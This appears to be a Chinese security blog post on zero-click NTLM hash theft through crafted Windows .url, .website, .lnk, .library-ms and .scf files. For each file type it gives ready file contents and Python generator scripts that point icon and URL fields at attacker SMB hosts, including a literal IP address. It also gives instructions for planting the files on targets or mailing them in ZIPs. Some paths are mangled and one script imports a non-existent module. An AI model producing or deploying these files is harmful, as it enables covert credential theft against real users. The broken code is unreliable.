前段时间爆出,Windows文件资源管理器欺骗漏洞,可惜最近才看到,所以就学习、总结了一下,除了.library-ms,其实还有好几个扩展后缀文件都是只要用户在本地目录一访问到该文件,即可导致自己的NTLM HASH被无感窃取,无需任何点击交互。
公众号回复“20250505”即可获取批量生成相关后缀文件的脚本。
前言
Windows 系统存在一些“即点即现”的隐晦机制:当系统浏览包含特定文件类型的目录时,会自动读取文件内容(如图标、元数据或库定义)并访问文件中引用的网络资源,这过程中会发起 SMB/NTLM 验证,从而将用户的 NTLM 散列暴露给远端攻击者。本文针对五种常见的钓鱼文件类型(.library-ms、.url、.website、.lnk、.scf),逐一分析其工作原理。
Windows 的自动处理行为
Windows 资源管理器(Explorer)和相关组件常常为了显示文件图标、预览内容或者编制索引而“悄悄”读取文件中的信息。一旦这些信息中包含远程 UNC(如 \attackershare)或 WebDAV 路径,系统就会尝试访问该网络资源。在访问过程中,客户端会使用当前用户凭据进行 NTLM 验证,这意味着攻击者可以借此捕获用户的 NTLMv2 响应哈希。这种攻击场景不需要用户点击或执行文件,只要用户打开或浏览包含恶意文件的文件夹,就可能触发认证请求。
触发网络访问的 Windows 组件主要包括:资源管理器的图标渲染机制(文件夹浏览时显示图标)、库索引服务(Windows Libraries 功能可能处理 .library-ms 文件)、任务栏与开始菜单(固定网站快捷方式或最近使用列表)等。下面分别介绍五种文件的细节。
.url 文件(Internet 快捷方式)
.url文件是一种文本格式的 Internet 快捷方式,传统上用于保存网页链接。其内容类似 INI 文件,常见字段包括 URL=、IconFile=、IconIndex= 等。攻击者可以在 .url 文件中指定一个远程 SMB 路径作为图标或目标,从而触发自动访问。比如:
[InternetShortcut]
URL=file://\attacker_ipsharefile.html
IconIndex=0
IconFile=\attacker_ipshareicon.ico
当资源管理器在文件夹视图中渲染此 .url 文件时,它会尝试加载指定的图标。因为 IconFile 指向了 \attacker_ipshareicon.ico,Explorer 会发起对该 UNC 路径的访问,并进行 NTLM 验证,泄露用户凭据哈希。需要注意,即使文件中的URL= 也指向远程文件(如 file://\hostpath),资源管理器也可能试图预览该目标文件或访问某些资源。总之,只要 .url 文件被放在可见的目录中,无需用户点击,其图标信息或链接路径就可能触发 SMB 连接,导致 NTLM 哈希泄露。
攻击者可借助 py 直接生成此类 .url 文件:只需以文本模式写入 [InternetShortcut] 段和相关字段。例如,以下伪代码演示了如何创建一个图标指向远程 UNC 的.url文件:
content = f"""[InternetShortcut]
URL=file://\\attacker.example.com\share\payload.html
IconFile=\\attacker.example.com\share\icon.ico
IconIndex=0
"""
with open("malicious.url", "w") as f:
f.write(content)
把生成的 malicious.url 放到目标机器可见的文件夹里(如桌面或网络共享),即可在用户浏览时触发认证泄露。
.website文件(固定网站快捷方式)
.website 文件是 Internet Explorer 和 Windows 10 用于固定网站应用的快捷方式格式,本质上也是一种带有额外元数据的 Internet 快捷方式。其格式类似 .url,但包含更多字段(如浏览器首选项、图标信息等)。例如,其内容段落中也可能出现类似 URL= 和 IconFile= 的条目。虽然 .website 在现代系统中较少使用,但同样可以指向远程资源。
与 .url 类似,如果 .website 文件中设置了指向远程 SMB 的链接或图标路径,那么在用户打开或“激活”这个快捷方式时就会触发网络连接。例如,下面的内容演示了一个 .website 文件可能包含的远程 URL:
[InternetShortcut]
URL=file://\159.196.128.120
IconIndex=0
[... 其他 Web 应用元数据 ...]
如果在 .website 文件中设置了远程的URL=file://\159.196.128.120,资源管理器在显示时就会访问该URL。
因此,只要用户打开包含该.website文件的文件夹,Explorer 就会尝试访问,从而触发 NTLM 验证请求。
.lnk 文件(Windows 快捷方式)
.lnk 是 Windows 的 Shell Link 文件格式,用于指向另一个文件、程序或位置(包括本地路径或网络路径)。.lnk 文件可以包含目标路径、工作目录、图标位置等多个字段。在正常使用中,双击 .lnk
会打开其指向的目标。然而即使不双击.lnk 文件,只要资源管理器需要显示其图标,相关字段中的网络路径也会被访问。
攻击者可以将.lnk文件的图标(IconLocation)指向远程 UNC 路径,或者将目标路径直接指定为 UNC。两个典型滥用场景是:
- 图标利用:生成 .lnk时设置 IconLocation=\attacker_ipshareicon.ico。放置在桌面或文件夹时,Explorer 会尝试加载该图标,从而发起对\attacker_ipshare的连接,并进行 NTLM 验证。这个过程和.lnk文件一样,无需任何用户点击,只要文件被显示,攻击就发生。
- 目标路径利用:将.lnk的目标(Target)直接设为某个网络文件(比如 \attacker_ipfile.txt)。此时,双击 .lnk会触发访问,但对“无需点击”的场景影响较小。不过,知识面广的攻击者发现:Windows 有时会在生成“最近使用”快捷方式或库视图时加载目标信息,但更常见的是图标利用。在实际攻击示例中,往往是利用图标字段来捕获哈希。
使用 脚本 可以方便地生成 .lnk 文件,示例代码如下:
import pycom
from win32com.shell import shell, shellcon
# 创建 ShellLink COM 对象
shortcut = pycom.CoCreateInstance(
shell.CLSID_ShellLink, None,
pycom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink
)
# 设置目标路径(可指向本地或远程)
shortcut.SetPath("C:\Windows\System32\cmd.exe")
# 设置描述、工作目录等(可选)
shortcut.SetDescription("Malicious Shortcut")
# 设置图标为远程 UNC 路径
shortcut.SetIconLocation(r"\attacker_ipsharemalicious.ico", 0)
# 保存为 .lnk 文件
persist_file = shortcut.QueryInterface(pycom.IID_IPersistFile)
persist_file.Save(r"malicious.lnk", 0)
以上代码生成的 malicious.lnk 指向本地 cmd.exe(确保图标仍需加载远程资源)。只要用户浏览到包含此 cmd.exe 的文件夹,资源管理器就会尝试加载远程图标,发送 NTLM 认证信息。需要注意的是,最新 Windows 版本已经在一定程度上对 LNK 图标加载做了安全检查,但对于未打补丁的系统,此技术依然有效。
.library-ms 文件(Windows 库定义文件)
.library-ms 是 Windows 库(Libraries)功能使用的 XML 定义文件,用于描述一个库包含哪些文件夹和搜索连接等。正常情况下,双击或加载一个库会显示包含的内容。2025 年爆发的 CVE-2025-24054 漏洞正是利用了 .library-ms 文件中的远程路径。
攻击者精心制作的.library-ms文件包含一个指向远程 SMB 路径的 <simpleLocation><url>\attacker_ipshare</url></simpleLocation>。例如:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\attacker_ipshare</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
当用户在资源管理器中(例如解压 ZIP 后)接触到这个.library-ms文件时,Windows 会自动尝试处理库定义。漏洞点在于:仅需“轻微交互”——比如解压缩恶意.library-ms 文件所在的 ZIP,或者进入包含该文件的文件夹——Explorer 就会读取<url>定义并向指定的 SMB 目标发起连接请求。由于 Windows 此时在后台加载库结构,用户无需点击该文件即可触发 SMB 访问,导致 NTLMv2 哈希泄露。
该漏洞在公开分析中被描述为“无任何用户交互(no user interaction)下泄露 NTLM”,其利用方式非常隐蔽。攻击者可通过邮件发送ZIP,或在共享位置放置.library-ms文件,一旦用户系统自动索引或预览,认证请求就会发出。幸好该漏洞已于 2025 年 3 月修复,新版本的资源管理器会在加载库定义前进行更严格的安全检查。
要生成.library-ms文件,只需用 py 写入上述 XML 到后缀为.library-ms 的文件即可。示例:
library_xml = '''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\attacker_ip\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
'''
with open("malicious.library-ms", "w", encoding="utf-8") as f:
f.write(library_xml)
将此 malicious.library-ms 放置到目标机器上,用户一旦触发文件所在目录的库处理(例如 Windows 库资源管理器自动加载),就会泄露 NTLM 哈希。
.scf 文件(Shell Command 文件)
.scf (Shell Command File) 文件是一种简单的 Windows 命令文件格式,常用于自定义任务栏按钮或执行桌面操作。它的内容通常包含[Shell]和[Taskbar]段,如下所示:
[Shell]
Command=2
IconFile=\attacker_ipshareicon.ico
[Taskbar]
Command=ToggleDesktop
在上述示例中,IconFile=\attacker_ipshareicon.ico 指向一个远程 SMB 路径。资源管理器在渲染包含此 .scf的文件夹(特别是桌面或网络共享浏览时)时,会尝试加载该图标文件。此时系统会发起 SMB 连接并进行 NTLM 验证,却从不真正执行 SCF 中的命令。用户无需点击.scf 文件;只要浏览显示该文件所在目录,即触发泄露。在早期漏洞利用中,安全人员通过在共享文件夹中植入.scf文件并观察客户端浏览时的 SMB 认证来获取哈希。
注意,目前最新的 Windows 补丁已经修复了 .scf图标加载的 NTLM 泄露问题:微软通过在加载图标前调用 MapUrlToZone 等方式来判断链接的安全性,从而避免直接连接外部网络。但在打补丁之前,.scf 仍然是“免交互”的窃取渠道之一。
使用 py 生成 .scf 文件只需要写文本即可,例如:
scf_content = """[Shell]
Command=2
IconFile=\\attacker_ip\share\icon.ico
[Taskbar]
Command=ToggleDesktop
"""
with open("malicious.scf", "w") as f:
f.write(scf_content)
保存并分发 malicious.scf,当用户打开包含该文件的目录时,就会触发对 \attacker_ipshare 的访问和 NTLM 验证。
总结
以上攻击方式的共同特点是不需要交互,只有文件落地,用户访问、查看到该文件即可触发认证导致HASH被窃取。回复“20250505”即可获取批量生成相关后缀文件的脚本。
视频效果展示
使用脚本生成文件(每个样本均已单独测试,在无补丁的主机上有效)
上传至目标(模拟钓鱼)解压之后触发
原文始发于微信公众号(Ting的安全笔记):那些不需要点击即可窃取NTLM HASH的钓鱼文件(附加视频)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论